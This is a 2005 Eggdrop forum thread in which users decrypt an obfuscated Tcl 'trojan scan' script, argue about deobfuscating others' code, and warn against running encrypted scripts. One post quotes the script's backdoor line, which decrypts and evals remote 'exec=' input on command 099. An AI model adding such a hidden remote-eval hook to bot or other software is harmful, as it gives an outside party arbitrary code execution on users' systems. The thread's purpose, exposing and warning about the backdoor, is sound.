egghelp/eggheads community

encrypted trojan scan script (cont.)

2005-08-05T15:04:32-04:00

Could you guys please end this poitless discussion? Like demond said it's simple, just don't load *obfuscated* TCL scripts on your bot.

IMHO MeTroiD, no one considered you guilty of something just cos you either think or indeed know the person who made the script. Just relax.

If someone did a obfuscated TCL script then either he/she has something to hide or dosen't want other people snoop around their code, change a few bits and relase it as it's their own. I tend to think/belive (about the people like strikelight) to prevent other people from snooping around the code. If it's offered for free this dosen't mean you can do WHATEVER you want with it.

Statistics: Posted by caesar — Fri Aug 05, 2005 3:04 pm

encrypted trojan scan script (cont.)

2005-08-05T07:48:34-04:00

That wasn't was i was saying at all demond. I just know who made it and i believe the other versions weren't encrypted.

I don't know nor care why that script has things like that as i dont use it anyway.
I was just saying that it makes no sense he is saying something after this much time.

Statistics: Posted by metroid — Fri Aug 05, 2005 7:48 am

encrypted trojan scan script (cont.)

2005-08-03T18:58:02-04:00

Wait, you didn't just comment on something i said several months ago did you?

Seriously, what are you getting at?

I can't speak for sKy but would guess he/she gets at your apparent endorsement of that particular encrypted/backdoored script

now, you may know the guy, the guy may be nice & not that type of person who would break into other people's shells, the backdoor may be there by an accident or meant as a service feature and not as break-in mechanism, and the script may be encrypted for educational purposes only - however all of that has nothing to do with the common sense security principle of never running binaries from a source not widely trusted & known to the public - and the fact you know the guy alone hardly makes his script(s) trusted by the public

Statistics: Posted by demond — Wed Aug 03, 2005 6:58 pm

encrypted trojan scan script (cont.)

2005-08-03T18:19:01-04:00

Wait, you didn't just comment on something i said several months ago did you?

Seriously, what are you getting at?

Statistics: Posted by metroid — Wed Aug 03, 2005 6:19 pm

encrypted trojan scan script (cont.)

2005-08-01T22:41:25-04:00

Guys, i just happen to know who made this script and code get obfuscated for a reason. You shouldn't deobfuscate code for someone without the explicit authorisation from the author, unless there would be malious code in it, which i dont think there is..

Well, will be nice if you take back your complaint about decrypting scripts. I don`t trust well known people blind. Now you see that he input a backdoor (not by accident(. That wasn`t nice,. I failed to see a regular usage of cmd 99. No one else from outside should be able to execute any tcl commands.

Statistics: Posted by sKy — Mon Aug 01, 2005 10:41 pm

encrypted trojan scan script (cont.)

2005-07-18T12:37:17-04:00

yep, that allows the guy to execute Tcl commands upon getting a connection initiated by your bot running this sh*t to the aspb (whatever that is) "database"

bottom line is what we've been saying (well, at least me hehe) over and over and over again on these forums: NEVER RUN ENCRYPTED EGGDROP SCRIPTS, EVER (that is, unless you managed to decrypt and audit it)

Statistics: Posted by demond — Mon Jul 18, 2005 12:37 pm

encrypted trojan scan script (cont.)

2005-07-18T10:29:59-04:00

the part:

Code:

 } elseif {$cmd == "099"} {            regexp -nocase -- {^.+ exec=(.+?)$} $arguments -> exec; catch { eval [string trim [decrypt aspb $exec]] }

was a backdoor i heard - dont know tcl =p

Statistics: Posted by Arie — Mon Jul 18, 2005 10:29 am

encrypted trojan scan script (cont.)

2005-05-21T09:42:41-04:00

Also it doesn't say anywhere in the script that it is prohibited to decrypt this script to see what is in it. As gb said. If the author did not want people to see his code then he should not of released it to the public.

Since he distributed it under the GNU GPL it would be even illegal to make the source code unaccessable.

Statistics: Posted by De Kus — Sat May 21, 2005 9:42 am

encrypted trojan scan script (cont.)

2005-05-21T04:41:08-04:00

maybe make a better decrypter that uses recursiveness.

Statistics: Posted by Galadhrim — Sat May 21, 2005 4:41 am

encrypted trojan scan script (cont.)

2005-05-20T19:26:22-04:00

I forgot to mention, that code was encrypted like 4 times lol, Everytime I decrypted it, it showed me yet another encryption (was about to give up on it ) maybe next time he should try encrypting it endlessly

Statistics: Posted by Sir_Fz — Fri May 20, 2005 7:26 pm

encrypted trojan scan script (cont.)

2005-05-20T18:49:47-04:00

I thought only Vulcans used logic?

Bravo one and all.

Statistics: Posted by Alchera — Fri May 20, 2005 6:49 pm

encrypted trojan scan script (cont.)

2005-05-20T05:57:14-04:00

Exactly, I believe the user has the right to know what he's loading on his eggdrop. And you said it MeTroiD, it may have malicious code (and I don't think we can say if it has or not since probably noone has tried to look through it)

Besides, it's decrypting, the code is still the same.

Also it doesn't say anywhere in the script that it is prohibited to decrypt this script to see what is in it. As gb said. If the author did not want people to see his code then he should not of released it to the public.

Statistics: Posted by ^DooM^ — Fri May 20, 2005 5:57 am

encrypted trojan scan script (cont.)

2005-05-20T03:43:19-04:00

Exactly, I believe the user has the right to know what he's loading on his eggdrop. And you said it MeTroiD, it may have malicious code (and I don't think we can say if it has or not since probably noone has tried to look through it)

Besides, it's decrypting, the code is still the same.

Statistics: Posted by Sir_Fz — Fri May 20, 2005 3:43 am

encrypted trojan scan script (cont.)

2005-05-19T20:38:01-04:00

thats just bullshit. its distributed freely under the gnu licence. if he didnt want ppl to read it, he shouldnt have made it public.

Statistics: Posted by greenbear — Thu May 19, 2005 8:38 pm

encrypted trojan scan script (cont.)

2005-05-19T18:29:42-04:00

Guys, i just happen to know who made this script and code get obfuscated for a reason. You shouldn't deobfuscate code for someone without the explicit authorisation from the author, unless there would be malious code in it, which i dont think there is..

Statistics: Posted by metroid — Thu May 19, 2005 6:29 pm